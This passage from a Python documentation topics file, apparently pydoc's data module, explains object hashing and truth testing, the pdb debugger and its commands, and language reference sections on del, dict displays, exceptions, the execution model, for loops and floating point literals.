statement),\n Python will call ``bool()`` on the value to determine if the result\n is true or false.\n\n There are no implied relationships among the comparison operators.\n The truth of ``x==y`` does not imply that ``x!=y`` is false.\n Accordingly, when defining ``__eq__()``, one should also define\n ``__ne__()`` so that the operators will behave as expected. See\n the paragraph on ``__hash__()`` for some important notes on\n creating *hashable* objects which support custom comparison\n operations and are usable as dictionary keys.\n\n There are no swapped-argument versions of these methods (to be used\n when the left argument does not support the operation but the right\n argument does); rather, ``__lt__()`` and ``__gt__()`` are each\n other\'s reflection, ``__le__()`` and ``__ge__()`` are each other\'s\n reflection, and ``__eq__()`` and ``__ne__()`` are their own\n reflection.\n\n Arguments to rich comparison methods are never coerced.\n\n To automatically generate ordering operations from a single root\n operation, see ``functools.total_ordering()``.\n\nobject.__hash__(self)\n\n Called by built-in function ``hash()`` and for operations on\n members of hashed collections including ``set``, ``frozenset``, and\n ``dict``. ``__hash__()`` should return an integer. The only\n required property is that objects which compare equal have the same\n hash value; it is advised to somehow mix together (e.g. using\n exclusive or) the hash values for the components of the object that\n also play a part in comparison of objects.\n\n If a class does not define an ``__eq__()`` method it should not\n define a ``__hash__()`` operation either; if it defines\n ``__eq__()`` but not ``__hash__()``, its instances will not be\n usable as items in hashable collections. If a class defines\n mutable objects and implements an ``__eq__()`` method, it should\n not implement ``__hash__()``, since the implementation of hashable\n collections requires that a key\'s hash value is immutable (if the\n object\'s hash value changes, it will be in the wrong hash bucket).\n\n User-defined classes have ``__eq__()`` and ``__hash__()`` methods\n by default; with them, all objects compare unequal (except with\n themselves) and ``x.__hash__()`` returns an appropriate value such\n that ``x == y`` implies both that ``x is y`` and ``hash(x) ==\n hash(y)``.\n\n A class that overrides ``__eq__()`` and does not define\n ``__hash__()`` will have its ``__hash__()`` implicitly set to\n ``None``. When the ``__hash__()`` method of a class is ``None``,\n instances of the class will raise an appropriate ``TypeError`` when\n a program attempts to retrieve their hash value, and will also be\n correctly identified as unhashable when checking ``isinstance(obj,\n collections.Hashable``).\n\n If a class that overrides ``__eq__()`` needs to retain the\n implementation of ``__hash__()`` from a parent class, the\n interpreter must be told this explicitly by setting ``__hash__ =\n <ParentClass>.__hash__``.\n\n If a class that does not override ``__eq__()`` wishes to suppress\n hash support, it should include ``__hash__ = None`` in the class\n definition. A class which defines its own ``__hash__()`` that\n explicitly raises a ``TypeError`` would be incorrectly identified\n as hashable by an ``isinstance(obj, collections.Hashable)`` call.\n\n Note: By default, the ``__hash__()`` values of str, bytes and datetime\n objects are "salted" with an unpredictable random value.\n Although they remain constant within an individual Python\n process, they are not predictable between repeated invocations of\n Python.This is intended to provide protection against a denial-\n of-service caused by carefully-chosen inputs that exploit the\n worst case performance of a dict insertion, O(n^2) complexity.\n See http://www.ocert.org/advisories/ocert-2011-003.html for\n details.Changing hash values affects the iteration order of\n dicts, sets and other mappings. Python has never made guarantees\n about this ordering (and it typically varies between 32-bit and\n 64-bit builds).See also ``PYTHONHASHSEED``.\n\n Changed in version 3.3: Hash randomization is enabled by default.\n\nobject.__bool__(self)\n\n Called to implement truth value testing and the built-in operation\n ``bool()``; should return ``False`` or ``True``. When this method\n is not defined, ``__len__()`` is called, if it is defined, and the\n object is considered true if its result is nonzero. If a class\n defines neither ``__len__()`` nor ``__bool__()``, all its instances\n are considered true.\n', 'debugger': '\n``pdb`` --- The Python Debugger\n*******************************\n\nThe module ``pdb`` defines an interactive source code debugger for\nPython programs. It supports setting (conditional) breakpoints and\nsingle stepping at the source line level, inspection of stack frames,\nsource code listing, and evaluation of arbitrary Python code in the\ncontext of any stack frame. It also supports post-mortem debugging\nand can be called under program control.\n\nThe debugger is extensible -- it is actually defined as the class\n``Pdb``. This is currently undocumented but easily understood by\nreading the source. The extension interface uses the modules ``bdb``\nand ``cmd``.\n\nThe debugger\'s prompt is ``(Pdb)``. Typical usage to run a program\nunder control of the debugger is:\n\n >>> import pdb\n >>> import mymodule\n >>> pdb.run(\'mymodule.test()\')\n > <string>(0)?()\n (Pdb) continue\n > <string>(1)?()\n (Pdb) continue\n NameError: \'spam\'\n > <string>(1)?()\n (Pdb)\n\nChanged in version 3.3: Tab-completion via the ``readline`` module is\navailable for commands and command arguments, e.g. the current global\nand local names are offered as arguments of the ``print`` command.\n\n``pdb.py`` can also be invoked as a script to debug other scripts.\nFor example:\n\n python3 -m pdb myscript.py\n\nWhen invoked as a script, pdb will automatically enter post-mortem\ndebugging if the program being debugged exits abnormally. After post-\nmortem debugging (or after normal exit of the program), pdb will\nrestart the program. Automatic restarting preserves pdb\'s state (such\nas breakpoints) and in most cases is more useful than quitting the\ndebugger upon program\'s exit.\n\nNew in version 3.2: ``pdb.py`` now accepts a ``-c`` option that\nexecutes commands as if given in a ``.pdbrc`` file, see *Debugger\nCommands*.\n\nThe typical usage to break into the debugger from a running program is\nto insert\n\n import pdb; pdb.set_trace()\n\nat the location you want to break into the debugger. You can then\nstep through the code following this statement, and continue running\nwithout the debugger using the ``continue`` command.\n\nThe typical usage to inspect a crashed program is:\n\n >>> import pdb\n >>> import mymodule\n >>> mymodule.test()\n Traceback (most recent call last):\n File "<stdin>", line 1, in ?\n File "./mymodule.py", line 4, in test\n test2()\n File "./mymodule.py", line 3, in test2\n print(spam)\n NameError: spam\n >>> pdb.pm()\n > ./mymodule.py(3)test2()\n -> print(spam)\n (Pdb)\n\nThe module defines the following functions; each enters the debugger\nin a slightly different way:\n\npdb.run(statement, globals=None, locals=None)\n\n Execute the *statement* (given as a string or a code object) under\n debugger control. The debugger prompt appears before any code is\n executed; you can set breakpoints and type ``continue``, or you can\n step through the statement using ``step`` or ``next`` (all these\n commands are explained below). The optional *globals* and *locals*\n arguments specify the environment in which the code is executed; by\n default the dictionary of the module ``__main__`` is used. (See\n the explanation of the built-in ``exec()`` or ``eval()``\n functions.)\n\npdb.runeval(expression, globals=None, locals=None)\n\n Evaluate the *expression* (given as a string or a code object)\n under debugger control. When ``runeval()`` returns, it returns the\n value of the expression. Otherwise this function is similar to\n ``run()``.\n\npdb.runcall(function, *args, **kwds)\n\n Call the *function* (a function or method object, not a string)\n with the given arguments. When ``runcall()`` returns, it returns\n whatever the function call returned. The debugger prompt appears\n as soon as the function is entered.\n\npdb.set_trace()\n\n Enter the debugger at the calling stack frame. This is useful to\n hard-code a breakpoint at a given point in a program, even if the\n code is not otherwise being debugged (e.g. when an assertion\n fails).\n\npdb.post_mortem(traceback=None)\n\n Enter post-mortem debugging of the given *traceback* object. If no\n *traceback* is given, it uses the one of the exception that is\n currently being handled (an exception must be being handled if the\n default is to be used).\n\npdb.pm()\n\n Enter post-mortem debugging of the traceback found in\n ``sys.last_traceback``.\n\nThe ``run*`` functions and ``set_trace()`` are aliases for\ninstantiating the ``Pdb`` class and calling the method of the same\nname. If you want to access further features, you have to do this\nyourself:\n\nclass class pdb.Pdb(completekey=\'tab\', stdin=None, stdout=None, skip=None, nosigint=False)\n\n ``Pdb`` is the debugger class.\n\n The *completekey*, *stdin* and *stdout* arguments are passed to the\n underlying ``cmd.Cmd`` class; see the description there.\n\n The *skip* argument, if given, must be an iterable of glob-style\n module name patterns. The debugger will not step into frames that\n originate in a module that matches one of these patterns. [1]\n\n By default, Pdb sets a handler for the SIGINT signal (which is sent\n when the user presses Ctrl-C on the console) when you give a\n ``continue`` command. This allows you to break into the debugger\n again by pressing Ctrl-C. If you want Pdb not to touch the SIGINT\n handler, set *nosigint* tot true.\n\n Example call to enable tracing with *skip*:\n\n import pdb; pdb.Pdb(skip=[\'django.*\']).set_trace()\n\n New in version 3.1: The *skip* argument.\n\n New in version 3.2: The *nosigint* argument. Previously, a SIGINT\n handler was never set by Pdb.\n\n run(statement, globals=None, locals=None)\n runeval(expression, globals=None, locals=None)\n runcall(function, *args, **kwds)\n set_trace()\n\n See the documentation for the functions explained above.\n\n\nDebugger Commands\n=================\n\nThe commands recognized by the debugger are listed below. Most\ncommands can be abbreviated to one or two letters as indicated; e.g.\n``h(elp)`` means that either ``h`` or ``help`` can be used to enter\nthe help command (but not ``he`` or ``hel``, nor ``H`` or ``Help`` or\n``HELP``). Arguments to commands must be separated by whitespace\n(spaces or tabs). Optional arguments are enclosed in square brackets\n(``[]``) in the command syntax; the square brackets must not be typed.\nAlternatives in the command syntax are separated by a vertical bar\n(``|``).\n\nEntering a blank line repeats the last command entered. Exception: if\nthe last command was a ``list`` command, the next 11 lines are listed.\n\nCommands that the debugger doesn\'t recognize are assumed to be Python\nstatements and are executed in the context of the program being\ndebugged. Python statements can also be prefixed with an exclamation\npoint (``!``). This is a powerful way to inspect the program being\ndebugged; it is even possible to change a variable or call a function.\nWhen an exception occurs in such a statement, the exception name is\nprinted but the debugger\'s state is not changed.\n\nThe debugger supports *aliases*. Aliases can have parameters which\nallows one a certain level of adaptability to the context under\nexamination.\n\nMultiple commands may be entered on a single line, separated by\n``;;``. (A single ``;`` is not used as it is the separator for\nmultiple commands in a line that is passed to the Python parser.) No\nintelligence is applied to separating the commands; the input is split\nat the first ``;;`` pair, even if it is in the middle of a quoted\nstring.\n\nIf a file ``.pdbrc`` exists in the user\'s home directory or in the\ncurrent directory, it is read in and executed as if it had been typed\nat the debugger prompt. This is particularly useful for aliases. If\nboth files exist, the one in the home directory is read first and\naliases defined there can be overridden by the local file.\n\nChanged in version 3.2: ``.pdbrc`` can now contain commands that\ncontinue debugging, such as ``continue`` or ``next``. Previously,\nthese commands had no effect.\n\nh(elp) [command]\n\n Without argument, print the list of available commands. With a\n *command* as argument, print help about that command. ``help pdb``\n displays the full documentation (the docstring of the ``pdb``\n module). Since the *command* argument must be an identifier,\n ``help exec`` must be entered to get help on the ``!`` command.\n\nw(here)\n\n Print a stack trace, with the most recent frame at the bottom. An\n arrow indicates the current frame, which determines the context of\n most commands.\n\nd(own) [count]\n\n Move the current frame *count* (default one) levels down in the\n stack trace (to a newer frame).\n\nu(p) [count]\n\n Move the current frame *count* (default one) levels up in the stack\n trace (to an older frame).\n\nb(reak) [([filename:]lineno | function) [, condition]]\n\n With a *lineno* argument, set a break there in the current file.\n With a *function* argument, set a break at the first executable\n statement within that function. The line number may be prefixed\n with a filename and a colon, to specify a breakpoint in another\n file (probably one that hasn\'t been loaded yet). The file is\n searched on ``sys.path``. Note that each breakpoint is assigned a\n number to which all the other breakpoint commands refer.\n\n If a second argument is present, it is an expression which must\n evaluate to true before the breakpoint is honored.\n\n Without argument, list all breaks, including for each breakpoint,\n the number of times that breakpoint has been hit, the current\n ignore count, and the associated condition if any.\n\ntbreak [([filename:]lineno | function) [, condition]]\n\n Temporary breakpoint, which is removed automatically when it is\n first hit. The arguments are the same as for ``break``.\n\ncl(ear) [filename:lineno | bpnumber [bpnumber ...]]\n\n With a *filename:lineno* argument, clear all the breakpoints at\n this line. With a space separated list of breakpoint numbers, clear\n those breakpoints. Without argument, clear all breaks (but first\n ask confirmation).\n\ndisable [bpnumber [bpnumber ...]]\n\n Disable the breakpoints given as a space separated list of\n breakpoint numbers. Disabling a breakpoint means it cannot cause\n the program to stop execution, but unlike clearing a breakpoint, it\n remains in the list of breakpoints and can be (re-)enabled.\n\nenable [bpnumber [bpnumber ...]]\n\n Enable the breakpoints specified.\n\nignore bpnumber [count]\n\n Set the ignore count for the given breakpoint number. If count is\n omitted, the ignore count is set to 0. A breakpoint becomes active\n when the ignore count is zero. When non-zero, the count is\n decremented each time the breakpoint is reached and the breakpoint\n is not disabled and any associated condition evaluates to true.\n\ncondition bpnumber [condition]\n\n Set a new *condition* for the breakpoint, an expression which must\n evaluate to true before the breakpoint is honored. If *condition*\n is absent, any existing condition is removed; i.e., the breakpoint\n is made unconditional.\n\ncommands [bpnumber]\n\n Specify a list of commands for breakpoint number *bpnumber*. The\n commands themselves appear on the following lines. Type a line\n containing just ``end`` to terminate the commands. An example:\n\n (Pdb) commands 1\n (com) print some_variable\n (com) end\n (Pdb)\n\n To remove all commands from a breakpoint, type commands and follow\n it immediately with ``end``; that is, give no commands.\n\n With no *bpnumber* argument, commands refers to the last breakpoint\n set.\n\n You can use breakpoint commands to start your program up again.\n Simply use the continue command, or step, or any other command that\n resumes execution.\n\n Specifying any command resuming execution (currently continue,\n step, next, return, jump, quit and their abbreviations) terminates\n the command list (as if that command was immediately followed by\n end). This is because any time you resume execution (even with a\n simple next or step), you may encounter another breakpoint--which\n could have its own command list, leading to ambiguities about which\n list to execute.\n\n If you use the \'silent\' command in the command list, the usual\n message about stopping at a breakpoint is not printed. This may be\n desirable for breakpoints that are to print a specific message and\n then continue. If none of the other commands print anything, you\n see no sign that the breakpoint was reached.\n\ns(tep)\n\n Execute the current line, stop at the first possible occasion\n (either in a function that is called or on the next line in the\n current function).\n\nn(ext)\n\n Continue execution until the next line in the current function is\n reached or it returns. (The difference between ``next`` and\n ``step`` is that ``step`` stops inside a called function, while\n ``next`` executes called functions at (nearly) full speed, only\n stopping at the next line in the current function.)\n\nunt(il) [lineno]\n\n Without argument, continue execution until the line with a number\n greater than the current one is reached.\n\n With a line number, continue execution until a line with a number\n greater or equal to that is reached. In both cases, also stop when\n the current frame returns.\n\n Changed in version 3.2: Allow giving an explicit line number.\n\nr(eturn)\n\n Continue execution until the current function returns.\n\nc(ont(inue))\n\n Continue execution, only stop when a breakpoint is encountered.\n\nj(ump) lineno\n\n Set the next line that will be executed. Only available in the\n bottom-most frame. This lets you jump back and execute code again,\n or jump forward to skip code that you don\'t want to run.\n\n It should be noted that not all jumps are allowed -- for instance\n it is not possible to jump into the middle of a ``for`` loop or out\n of a ``finally`` clause.\n\nl(ist) [first[, last]]\n\n List source code for the current file. Without arguments, list 11\n lines around the current line or continue the previous listing.\n With ``.`` as argument, list 11 lines around the current line.\n With one argument, list 11 lines around at that line. With two\n arguments, list the given range; if the second argument is less\n than the first, it is interpreted as a count.\n\n The current line in the current frame is indicated by ``->``. If\n an exception is being debugged, the line where the exception was\n originally raised or propagated is indicated by ``>>``, if it\n differs from the current line.\n\n New in version 3.2: The ``>>`` marker.\n\nll | longlist\n\n List all source code for the current function or frame.\n Interesting lines are marked as for ``list``.\n\n New in version 3.2.\n\na(rgs)\n\n Print the argument list of the current function.\n\np(rint) expression\n\n Evaluate the *expression* in the current context and print its\n value.\n\npp expression\n\n Like the ``print`` command, except the value of the expression is\n pretty-printed using the ``pprint`` module.\n\nwhatis expression\n\n Print the type of the *expression*.\n\nsource expression\n\n Try to get source code for the given object and display it.\n\n New in version 3.2.\n\ndisplay [expression]\n\n Display the value of the expression if it changed, each time\n execution stops in the current frame.\n\n Without expression, list all display expressions for the current\n frame.\n\n New in version 3.2.\n\nundisplay [expression]\n\n Do not display the expression any more in the current frame.\n Without expression, clear all display expressions for the current\n frame.\n\n New in version 3.2.\n\ninteract\n\n Start an interative interpreter (using the ``code`` module) whose\n global namespace contains all the (global and local) names found in\n the current scope.\n\n New in version 3.2.\n\nalias [name [command]]\n\n Create an alias called *name* that executes *command*. The command\n must *not* be enclosed in quotes. Replaceable parameters can be\n indicated by ``%1``, ``%2``, and so on, while ``%*`` is replaced by\n all the parameters. If no command is given, the current alias for\n *name* is shown. If no arguments are given, all aliases are listed.\n\n Aliases may be nested and can contain anything that can be legally\n typed at the pdb prompt. Note that internal pdb commands *can* be\n overridden by aliases. Such a command is then hidden until the\n alias is removed. Aliasing is recursively applied to the first\n word of the command line; all other words in the line are left\n alone.\n\n As an example, here are two useful aliases (especially when placed\n in the ``.pdbrc`` file):\n\n # Print instance variables (usage "pi classInst")\n alias pi for k in %1.__dict__.keys(): print("%1.",k,"=",%1.__dict__[k])\n # Print instance variables in self\n alias ps pi self\n\nunalias name\n\n Delete the specified alias.\n\n! statement\n\n Execute the (one-line) *statement* in the context of the current\n stack frame. The exclamation point can be omitted unless the first\n word of the statement resembles a debugger command. To set a\n global variable, you can prefix the assignment command with a\n ``global`` statement on the same line, e.g.:\n\n (Pdb) global list_options; list_options = [\'-l\']\n (Pdb)\n\nrun [args ...]\nrestart [args ...]\n\n Restart the debugged Python program. If an argument is supplied,\n it is split with ``shlex`` and the result is used as the new\n ``sys.argv``. History, breakpoints, actions and debugger options\n are preserved. ``restart`` is an alias for ``run``.\n\nq(uit)\n\n Quit from the debugger. The program being executed is aborted.\n\n-[ Footnotes ]-\n\n[1] Whether a frame is considered to originate in a certain module is\n determined by the ``__name__`` in the frame globals.\n', 'del': '\nThe ``del`` statement\n*********************\n\n del_stmt ::= "del" target_list\n\nDeletion is recursively defined very similar to the way assignment is\ndefined. Rather than spelling it out in full details, here are some\nhints.\n\nDeletion of a target list recursively deletes each target, from left\nto right.\n\nDeletion of a name removes the binding of that name from the local or\nglobal namespace, depending on whether the name occurs in a ``global``\nstatement in the same code block. If the name is unbound, a\n``NameError`` exception will be raised.\n\nDeletion of attribute references, subscriptions and slicings is passed\nto the primary object involved; deletion of a slicing is in general\nequivalent to assignment of an empty slice of the right type (but even\nthis is determined by the sliced object).\n\nChanged in version 3.2: Previously it was illegal to delete a name\nfrom the local namespace if it occurs as a free variable in a nested\nblock.\n', 'dict': '\nDictionary displays\n*******************\n\nA dictionary display is a possibly empty series of key/datum pairs\nenclosed in curly braces:\n\n dict_display ::= "{" [key_datum_list | dict_comprehension] "}"\n key_datum_list ::= key_datum ("," key_datum)* [","]\n key_datum ::= expression ":" expression\n dict_comprehension ::= expression ":" expression comp_for\n\nA dictionary display yields a new dictionary object.\n\nIf a comma-separated sequence of key/datum pairs is given, they are\nevaluated from left to right to define the entries of the dictionary:\neach key object is used as a key into the dictionary to store the\ncorresponding datum. This means that you can specify the same key\nmultiple times in the key/datum list, and the final dictionary\'s value\nfor that key will be the last one given.\n\nA dict comprehension, in contrast to list and set comprehensions,\nneeds two expressions separated with a colon followed by the usual\n"for" and "if" clauses. When the comprehension is run, the resulting\nkey and value elements are inserted in the new dictionary in the order\nthey are produced.\n\nRestrictions on the types of the key values are listed earlier in\nsection *The standard type hierarchy*. (To summarize, the key type\nshould be *hashable*, which excludes all mutable objects.) Clashes\nbetween duplicate keys are not detected; the last datum (textually\nrightmost in the display) stored for a given key value prevails.\n', 'dynamic-features': '\nInteraction with dynamic features\n*********************************\n\nThere are several cases where Python statements are illegal when used\nin conjunction with nested scopes that contain free variables.\n\nIf a variable is referenced in an enclosing scope, it is illegal to\ndelete the name. An error will be reported at compile time.\n\nIf the wild card form of import --- ``import *`` --- is used in a\nfunction and the function contains or is a nested block with free\nvariables, the compiler will raise a ``SyntaxError``.\n\nThe ``eval()`` and ``exec()`` functions do not have access to the full\nenvironment for resolving names. Names may be resolved in the local\nand global namespaces of the caller. Free variables are not resolved\nin the nearest enclosing namespace, but in the global namespace. [1]\nThe ``exec()`` and ``eval()`` functions have optional arguments to\noverride the global and local namespace. If only one namespace is\nspecified, it is used for both.\n', 'else': '\nThe ``if`` statement\n********************\n\nThe ``if`` statement is used for conditional execution:\n\n if_stmt ::= "if" expression ":" suite\n ( "elif" expression ":" suite )*\n ["else" ":" suite]\n\nIt selects exactly one of the suites by evaluating the expressions one\nby one until one is found to be true (see section *Boolean operations*\nfor the definition of true and false); then that suite is executed\n(and no other part of the ``if`` statement is executed or evaluated).\nIf all expressions are false, the suite of the ``else`` clause, if\npresent, is executed.\n', 'exceptions': '\nExceptions\n**********\n\nExceptions are a means of breaking out of the normal flow of control\nof a code block in order to handle errors or other exceptional\nconditions. An exception is *raised* at the point where the error is\ndetected; it may be *handled* by the surrounding code block or by any\ncode block that directly or indirectly invoked the code block where\nthe error occurred.\n\nThe Python interpreter raises an exception when it detects a run-time\nerror (such as division by zero). A Python program can also\nexplicitly raise an exception with the ``raise`` statement. Exception\nhandlers are specified with the ``try`` ... ``except`` statement. The\n``finally`` clause of such a statement can be used to specify cleanup\ncode which does not handle the exception, but is executed whether an\nexception occurred or not in the preceding code.\n\nPython uses the "termination" model of error handling: an exception\nhandler can find out what happened and continue execution at an outer\nlevel, but it cannot repair the cause of the error and retry the\nfailing operation (except by re-entering the offending piece of code\nfrom the top).\n\nWhen an exception is not handled at all, the interpreter terminates\nexecution of the program, or returns to its interactive main loop. In\neither case, it prints a stack backtrace, except when the exception is\n``SystemExit``.\n\nExceptions are identified by class instances. The ``except`` clause\nis selected depending on the class of the instance: it must reference\nthe class of the instance or a base class thereof. The instance can\nbe received by the handler and can carry additional information about\nthe exceptional condition.\n\nNote: Exception messages are not part of the Python API. Their contents\n may change from one version of Python to the next without warning\n and should not be relied on by code which will run under multiple\n versions of the interpreter.\n\nSee also the description of the ``try`` statement in section *The try\nstatement* and ``raise`` statement in section *The raise statement*.\n\n-[ Footnotes ]-\n\n[1] This limitation occurs because the code that is executed by these\n operations is not available at the time the module is compiled.\n', 'execmodel': '\nExecution model\n***************\n\n\nNaming and binding\n==================\n\n*Names* refer to objects. Names are introduced by name binding\noperations. Each occurrence of a name in the program text refers to\nthe *binding* of that name established in the innermost function block\ncontaining the use.\n\nA *block* is a piece of Python program text that is executed as a\nunit. The following are blocks: a module, a function body, and a class\ndefinition. Each command typed interactively is a block. A script\nfile (a file given as standard input to the interpreter or specified\non the interpreter command line the first argument) is a code block.\nA script command (a command specified on the interpreter command line\nwith the \'**-c**\' option) is a code block. The string argument passed\nto the built-in functions ``eval()`` and ``exec()`` is a code block.\n\nA code block is executed in an *execution frame*. A frame contains\nsome administrative information (used for debugging) and determines\nwhere and how execution continues after the code block\'s execution has\ncompleted.\n\nA *scope* defines the visibility of a name within a block. If a local\nvariable is defined in a block, its scope includes that block. If the\ndefinition occurs in a function block, the scope extends to any blocks\ncontained within the defining one, unless a contained block introduces\na different binding for the name. The scope of names defined in a\nclass block is limited to the class block; it does not extend to the\ncode blocks of methods -- this includes comprehensions and generator\nexpressions since they are implemented using a function scope. This\nmeans that the following will fail:\n\n class A:\n a = 42\n b = list(a + i for i in range(10))\n\nWhen a name is used in a code block, it is resolved using the nearest\nenclosing scope. The set of all such scopes visible to a code block\nis called the block\'s *environment*.\n\nIf a name is bound in a block, it is a local variable of that block,\nunless declared as ``nonlocal``. If a name is bound at the module\nlevel, it is a global variable. (The variables of the module code\nblock are local and global.) If a variable is used in a code block\nbut not defined there, it is a *free variable*.\n\nWhen a name is not found at all, a ``NameError`` exception is raised.\nIf the name refers to a local variable that has not been bound, a\n``UnboundLocalError`` exception is raised. ``UnboundLocalError`` is a\nsubclass of ``NameError``.\n\nThe following constructs bind names: formal parameters to functions,\n``import`` statements, class and function definitions (these bind the\nclass or function name in the defining block), and targets that are\nidentifiers if occurring in an assignment, ``for`` loop header, or\nafter ``as`` in a ``with`` statement or ``except`` clause. The\n``import`` statement of the form ``from ... import *`` binds all names\ndefined in the imported module, except those beginning with an\nunderscore. This form may only be used at the module level.\n\nA target occurring in a ``del`` statement is also considered bound for\nthis purpose (though the actual semantics are to unbind the name).\n\nEach assignment or import statement occurs within a block defined by a\nclass or function definition or at the module level (the top-level\ncode block).\n\nIf a name binding operation occurs anywhere within a code block, all\nuses of the name within the block are treated as references to the\ncurrent block. This can lead to errors when a name is used within a\nblock before it is bound. This rule is subtle. Python lacks\ndeclarations and allows name binding operations to occur anywhere\nwithin a code block. The local variables of a code block can be\ndetermined by scanning the entire text of the block for name binding\noperations.\n\nIf the ``global`` statement occurs within a block, all uses of the\nname specified in the statement refer to the binding of that name in\nthe top-level namespace. Names are resolved in the top-level\nnamespace by searching the global namespace, i.e. the namespace of the\nmodule containing the code block, and the builtins namespace, the\nnamespace of the module ``builtins``. The global namespace is\nsearched first. If the name is not found there, the builtins\nnamespace is searched. The global statement must precede all uses of\nthe name.\n\nThe builtins namespace associated with the execution of a code block\nis actually found by looking up the name ``__builtins__`` in its\nglobal namespace; this should be a dictionary or a module (in the\nlatter case the module\'s dictionary is used). By default, when in the\n``__main__`` module, ``__builtins__`` is the built-in module\n``builtins``; when in any other module, ``__builtins__`` is an alias\nfor the dictionary of the ``builtins`` module itself.\n``__builtins__`` can be set to a user-created dictionary to create a\nweak form of restricted execution.\n\n**CPython implementation detail:** Users should not touch\n``__builtins__``; it is strictly an implementation detail. Users\nwanting to override values in the builtins namespace should ``import``\nthe ``builtins`` module and modify its attributes appropriately.\n\nThe namespace for a module is automatically created the first time a\nmodule is imported. The main module for a script is always called\n``__main__``.\n\nThe ``global`` statement has the same scope as a name binding\noperation in the same block. If the nearest enclosing scope for a\nfree variable contains a global statement, the free variable is\ntreated as a global.\n\nA class definition is an executable statement that may use and define\nnames. These references follow the normal rules for name resolution.\nThe namespace of the class definition becomes the attribute dictionary\nof the class. Names defined at the class scope are not visible in\nmethods.\n\n\nInteraction with dynamic features\n---------------------------------\n\nThere are several cases where Python statements are illegal when used\nin conjunction with nested scopes that contain free variables.\n\nIf a variable is referenced in an enclosing scope, it is illegal to\ndelete the name. An error will be reported at compile time.\n\nIf the wild card form of import --- ``import *`` --- is used in a\nfunction and the function contains or is a nested block with free\nvariables, the compiler will raise a ``SyntaxError``.\n\nThe ``eval()`` and ``exec()`` functions do not have access to the full\nenvironment for resolving names. Names may be resolved in the local\nand global namespaces of the caller. Free variables are not resolved\nin the nearest enclosing namespace, but in the global namespace. [1]\nThe ``exec()`` and ``eval()`` functions have optional arguments to\noverride the global and local namespace. If only one namespace is\nspecified, it is used for both.\n\n\nExceptions\n==========\n\nExceptions are a means of breaking out of the normal flow of control\nof a code block in order to handle errors or other exceptional\nconditions. An exception is *raised* at the point where the error is\ndetected; it may be *handled* by the surrounding code block or by any\ncode block that directly or indirectly invoked the code block where\nthe error occurred.\n\nThe Python interpreter raises an exception when it detects a run-time\nerror (such as division by zero). A Python program can also\nexplicitly raise an exception with the ``raise`` statement. Exception\nhandlers are specified with the ``try`` ... ``except`` statement. The\n``finally`` clause of such a statement can be used to specify cleanup\ncode which does not handle the exception, but is executed whether an\nexception occurred or not in the preceding code.\n\nPython uses the "termination" model of error handling: an exception\nhandler can find out what happened and continue execution at an outer\nlevel, but it cannot repair the cause of the error and retry the\nfailing operation (except by re-entering the offending piece of code\nfrom the top).\n\nWhen an exception is not handled at all, the interpreter terminates\nexecution of the program, or returns to its interactive main loop. In\neither case, it prints a stack backtrace, except when the exception is\n``SystemExit``.\n\nExceptions are identified by class instances. The ``except`` clause\nis selected depending on the class of the instance: it must reference\nthe class of the instance or a base class thereof. The instance can\nbe received by the handler and can carry additional information about\nthe exceptional condition.\n\nNote: Exception messages are not part of the Python API. Their contents\n may change from one version of Python to the next without warning\n and should not be relied on by code which will run under multiple\n versions of the interpreter.\n\nSee also the description of the ``try`` statement in section *The try\nstatement* and ``raise`` statement in section *The raise statement*.\n\n-[ Footnotes ]-\n\n[1] This limitation occurs because the code that is executed by these\n operations is not available at the time the module is compiled.\n', 'exprlists': '\nExpression lists\n****************\n\n expression_list ::= expression ( "," expression )* [","]\n\nAn expression list containing at least one comma yields a tuple. The\nlength of the tuple is the number of expressions in the list. The\nexpressions are evaluated from left to right.\n\nThe trailing comma is required only to create a single tuple (a.k.a. a\n*singleton*); it is optional in all other cases. A single expression\nwithout a trailing comma doesn\'t create a tuple, but rather yields the\nvalue of that expression. (To create an empty tuple, use an empty pair\nof parentheses: ``()``.)\n', 'floating': '\nFloating point literals\n***********************\n\nFloating point literals are described by the following lexical\ndefinitions:\n\n floatnumber ::= pointfloat | exponentfloat\n pointfloat ::= [intpart] fraction | intpart "."\n exponentfloat ::= (intpart | pointfloat) exponent\n intpart ::= digit+\n fraction ::= "." digit+\n exponent ::= ("e" | "E") ["+" | "-"] digit+\n\nNote that the integer and exponent parts are always interpreted using\nradix 10. For example, ``077e010`` is legal, and denotes the same\nnumber as ``77e10``. The allowed range of floating point literals is\nimplementation-dependent. Some examples of floating point literals:\n\n 3.14 10. .001 1e100 3.14e-10 0e0\n\nNote that numeric literals do not include a sign; a phrase like ``-1``\nis actually an expression composed of the unary operator ``-`` and the\nliteral ``1``.\n', 'for': '\nThe ``for`` statement\n*********************\n\nThe ``for`` statement is used to iterate over the elements of a\nsequence (such as a string, tuple or list) or other iterable object:\n\n for_stmt ::= "for" target_list "in" expression_list ":" suite\n ["else" ":" suite]\n\nThe expression list is evaluated once; it should yield an iterable\nobject. An iterator is created for the result of the\n``expression_list``. The suite is then executed once for each item\nprovided by the iterator, in the order of ascending indices. Each\nitem in turn is assigned to the target list using the standard rules\nfor assignments (see *Assignment statements*), and then the suite is\nexecuted. When the items are exhausted (which is immediately when the\nsequence is empty or an iterator raises a ``StopIteration``\nexception), the suite in the ``else`` clause, if present, is executed,\nand the loop terminates.\n\nA ``break`` statement executed in the first suite terminates the loop\nwithout executing the ``else`` clause\'s suite. A ``continue``\nstatement executed in the first suite skips the rest of the suite and\ncontinues with the next item, or with the ``else`` clause if there was\nno next item.\n\nThe suite may assign to the variable(s) in the target list; this does\nnot affect the next item assigned to it.\n\nNames in the target list are not deleted when the loop is finished,\nbut if the sequence is empty, it will not have been assigned to at all\nby the loop. Hint: the built-in function ``range()`` returns an\niterator of integers suitable to emulate the effect of Pascal\'s ``for\ni := a to b do``; e.g., ``list(range(3))`` returns the list ``[0, 1,\n2]``.\n\nNote: There is a subtlety when the sequence is being modified by the loop\n (this can only occur for mutable sequences, i.e. lists). An\n internal counter is used to keep track of which item is used next,\n and this is incremented on each iteration. When this counter has\n reached the length of the sequence the loop terminates. This means\n that if the suite deletes the current (or a previous) item from the\n sequence, the next item will be skipped (since it gets the index of\n the current item which has already been treated). Likewise, if the\n suite inserts an item in the sequence before the current item, the\n current item will be treated again the next time through the loop.\n This can lead to nasty bugs that can be avoided by making a\n temporary copy using a slice of the whole sequence, e.g.,\n\n for x in a[:]:\n if x < 0: a.remove(x)\n', 'formatstrings': '\nFormat String Syntax\n********************\n\nThe ``str.format()`` method and the ``Formatter`` class share the same\nsyntax for format strings (although in the case of ``Formatter``,\nsubclasses can define their own format string syntax).\n\nFormat strings contain "replacement fields" surrounded by curly 